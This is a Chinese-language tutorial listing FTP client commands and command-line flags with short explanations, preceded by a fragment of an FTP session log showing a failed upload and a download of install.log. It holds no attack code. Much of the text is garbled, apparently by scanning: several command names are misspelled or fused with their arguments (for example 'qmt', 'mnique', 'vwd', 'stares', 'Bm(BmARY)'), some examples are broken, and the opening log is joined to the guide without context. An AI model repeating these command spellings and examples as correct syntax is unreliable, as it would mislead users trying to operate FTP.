anaconda-ks.cfg bootback.tar.gz install.log install.log.syslog test test.zip
ftp> put bootback.tar.gz
local: bootback.tar.gz remote: bootback.tar.gz
227 Entering Passive Mode (192,168,1,254,44,97).
553 Could not create file.
ftp> get install.log
local: install.log remote: install.log
227 Entering Passive Mode (192,168,1,254,242,203).
150 Opening BINARY mode data connection for install.log (38109 bytes).
226 Transfer complete.
38109 bytes received in 0.000302 secs (126188.74 Kbytes/sec)
Ⅹ FTP常用命令全ji
文件傳輸軟體的使用格式為:FTP,若連 接成功,系統將提示用戶輸入用戶名及口令:
LOGIN: (輸入合法的用戶名或者「ANONMOUS」):
PASSWORD: (輸入合法的口令,若以「ANONMOUS」方式登錄,一般不用口令):
第一節 FTP命令基礎
進入想要連接的FTP站點後,用戶就可以進行相應的文件傳輸操作了,其中一些重要 的命令及相似的命令 如下:
1)HELP、 ?、RHEIP、REMOTEHELP
HELP顯示LOCAL端的命令說明,若不接受則顯示所有可用命令;
?相當於HELP,例如:?CD:
RHELP同HELP,只是它用來顯示REMOTE端的命令說明;
REMOTEHELP相當於RHELP。
2)ASC(ASCll)、Bm(BmARY)、IMAGE、TYPE
ASCII切換傳輸模式為文字模式(只能用來傳送DOC文件,因為是7-BIT);
BINARY切換傳輸模式為二進制模式(除文字文件外皆用此模式);
IMAGE相當於BINARY:
TYPE讓你更改或顯示目前傳輸模式。
3)BYE、QUIT
BYE退出FTP:
QUIT相當於BYE。
4)CD、CDUP、LCD、P~WD、 !
CD改變當前工作目錄,例如:CD\PUB;
CDUP回到上一層目錄,相當於你打CD..:
LCD讓你更改或顯示LOCAL端的工作目錄,例如:LCD\TMP;
PWD顯示目前的工作目錄(REMOTE端):
!讓你執行外殼命令,例如:!LS。
5)DELETE、MDELETE、RENAME
DELETE刪除REMOTE端的文件:
MDELETE批量刪除文件,需配合?或,*
RENAME更改REMOTE端的文件名。
6)GET、MGET、PUT、MPUT、RECV、SEND
GET下傳文件;
MGET批量下傳文件,需配合萬用字元,例如:MGET*.GZ;
PUT上傳文件;
MPUT批量上傳文件,需配合萬用字元;
RECV相當於GET(RECV為RECEWE的簡寫):
SEND相當於PUT。
7)HASH、PROMPT、VERBOSE、STATUS、BELL
HASH切換#字型大小的出現,每一個#字型大小表示傳送了1024/8192BYTES:
PROMPT切換iNTERACTIVEON/OFF;
VERBOSE切換所有文件傳輸過程的顯示;
STATUS顯示目前的一些參數:
BELL當指令做完時會發出叫聲。
8)LS、DIR、MLS、MDIR、MKDIR、RMDIR
LS有點象UNIX下的LS(LIST)命令:
DIR相當於LS-L(LIST-LONG);
MLS只是將遠端某目 錄下的文件存於LOCAL端的某文件里;
MDIR相當於MLS;
MKDIR象DOS下的MD(創建子目錄)一樣:
RMDIR象DOS下的RD(刪除子目錄)一樣。
9)OPEN、CLOSE、DISCONNECT、USER ·
OPEN連接某個遠端FTP伺服器;
CLOSE關閉目前的連接; DISCONNECT相當於CLOSE;
USER再輸入一次用戶名和口令(有點像UNIX下的SU)。
第二節FTP命令完全掌握
FTP命令是Intemet用戶使用最頻繁的命令之一,不論在DOS還在UNIX操作系統下使 用FTP,都會遇到大量的 FTP內部命令。熟悉並靈活應用FTP的內部命令,可以大大方便 使用者,並收到事半功倍之效。
FTP的命令行格式為:
FTP-v-d-i-n-g[主機名],其中:
—v——顯示遠程伺服器的所有響應信息;
—n.------限制FTP的自動登錄,即不使用; ,
n-----etRc文件:
-d——使用調試方式:
·g——取消全局文件名。
FTP使用的內部命令如下(中括弧表示可選項):
1)[crud[args)1:在本地機中執行交互shell,exit回到FTP環境, 列如:!LS*.zip.
2)$macro-amc[args兒執行宏定義macro-name。
3)accountlpassword]:提供登錄遠程系統成功後訪問系統資源所需的補充口令。
4)append local-file[remote-file]:將本地文件追加到遠程系統主機,若未指定遠系統文件名,則使用本地文件名。
5)aSCii:使用ascII型傳輸方式。
6)bell:每個命令執行完畢後計算機響鈴—次
7)bin:使用二進制文件傳輸方式
8)bye..退出FTP會話過程—
9)case:在使用mget時,將遠程主文件名中的大寫字母轉為小寫字母
10)cdremote·dir:進入遠程主機目錄。
11)cp..進入遠程主機目錄的父目錄。
12)chmodmodefile-name:將遠程主機文件file-name的存取方式設置為mode。列如:chmod777a.OUt。
13)close:中斷與遠程伺服器的FTP會話(與open對應)。
14)cr:使用aSSC「方式傳輸文件時,將回車換行轉換為回行
15)deleteremote-file-刪除遠程主機文件:
16)debugldebug-value3:.設置調試方式,顯示發送至遠程主機的每條命令。例如:debup3,若設為0,表示取消debug。
17)dir[remote-dir][Local-file]:顯示遠程主機目錄,並將結果存入本地文件local-file:
18)disconnection-.同close。
19)formformat:將文件傳輸方式設置為format,預設為file方式。
20)getremote-file[10cal-file]:將遠程主機的文件remote-file傳至本地 硬碟的local-file。
21)glob:設置mdelete,mget,mput的文件名擴展,預設時不擴展文件名,同命令行的-g參數。
22)hash:每傳輸1024位元組,顯示一個hash符號(#)。
23)help[cmd]:顯示FTP內部命令cmd的幫助信息,如.-helpget。
24)idle[seconds]:將遠程伺服器的休眠計時器設為[seconds]秒。
25)image:設置二進制傳輸方式(同binary)。
26)LCD[DIR]:將本地工作目錄切換至dir。
27)LS[remote-DIR][LOCAL-FILE]:顯示遠程目錄remote-dir,並存入本地文local-fileo
28)macdefmacro-name:定義一個宏,遇到macdef下的空行時,宏定義結束。
29)mdelete[remote-file]:刪除遠程主機文件。
30)mdirremote-fileslocal-file:與dlr類似,但可指定多個遠程文件。 列如mdir*.O.*.zipoutfiLe。
31)mgetremote-files:傳輸多個遠程文件。
32)mkdirdirname:在遠程主機中建一目錄。
33)misremote-filelocal-file.同nlist,但可指定多個文件名。
34)mode[modename]:將文件傳輸方式設置為modename,預設為stream方式。
35)modtimefile-name..顯示遠程主機文件的最後修改時間。 ·
36)mputlocal-file:將多個文件傳輸至遠程主機,
37)newerfile-name: 如果遠程機中file-name的修改時間比本地硬碟同名文件的時間巨近,則重新傳輸該文件。 ·
38)nlist正remote·di41local-file3:顯示遠程主機目錄的文件清單,並存入本地硬碟的local-fileo
39)nmap[npattem outpattem]設置文件名映射機制,使得文件傳輸時,文件中的某些字元相互轉換,如:nmapSl.S2.S3[$1,$2][$2,$3],則傳輸文件a1.a2.a3時,文件名變為a1,a20該命令特別適用於遠程主機為非UNIX機的情況o
40)ntrans[Inchars[outchars]]設置文件名字元的翻譯機制,如ntranslR,則文件名LLI將變為RRR。
41)openhost[port]:建立指定FTP伺服器連接,可指定連接埠。
42)passive:進入被動傳輸方式。
43)prompt:設置多個文件傳輸時的交互提示。
44)proxy FTP-cmd:在次要控制連接中,執行一條FTP命令,該命令允許連接兩個FTP伺服器,以在兩個伺服器間傳輸文件。第一條FTP命令必須為open,以首先建立兩個伺服器間的連接。
45)putlocal-file[remote-file]:將本地文件local-file傳送至遠程主機。
46)vwd:顯示遠程主機的當前工作目錄。
47)qmt-.同bye,退出FTP會話。
48)quote argl,arg2。。。:將參數逐字發至遠程卸伺服器,如:quote, syst。
49)recvremote-file[Local-file):同get。
50)reget remote-file[Local-file]:類似於get,但若local-file存在,則從上次傳輸中斷處繼續傳輸。
51)rhelp[cmd-name]:請求獲得遠程主機的幫助。
52)rstatus[FILe-name]:若未指定文件名,則顯示遠程主機的狀態,否則顯示文件狀態,
53)rename[FRom)[to]:更改遠程主機文件名。
54)reset:清除回答隊列。
55)restart marker:從指定的標志marker處,重新開始get或put,如:restartl30。
56)rmdirdir-name:刪除遠程主機目錄。
57)mnique:設置文件名惟一性存儲,若文件存在,則在原文件後加後綴.1,.2等
58)send local-file[remote-file):同put
59)sendport:設置PORT命令的使用。
60)siteargl,arg2。。。:將參數作為SITE命令逐字發送至遠程卸主機。
61)sizefile-name:顯示遠程主機文件大小,如:Slteidle7200。
62)stares:。顯示當前FTP狀態。 ·
63)struct[struct-name]:將文件傳輸結構設置為struct-name,預設時使用stream結構。
64)suniclue:將遠程主機文件名存儲設置為惟一(與mnique對應)。
65)system:顯示遠程主機的操作系統類型。
66)tenex:將文件:傳輸類型設置為TENEX機的所需的類型
67)tick:設置傳輸時的位元組計數器
68)trace:設置包跟蹤。
69)type[type-name):設置文件傳輸類型為type-name,預設為ascii,
例如:typebinary,設置二進制傳輸方式。
70)umask[newmask):將遠程伺服器的預設umask設置為newmask。 例如:umask 3。
71)user user-name [passwordⅡaccount]:向遠程主機表明自己的身份,需要口令時,必須輸入口令,如:useranonymousmy@emaiL。
72)verbose:同命令行的-v參數,即設置詳盡報告方式,FTP伺服器的所有響應都將顯示給用戶,預設為on。
73)?[cmd]:同help。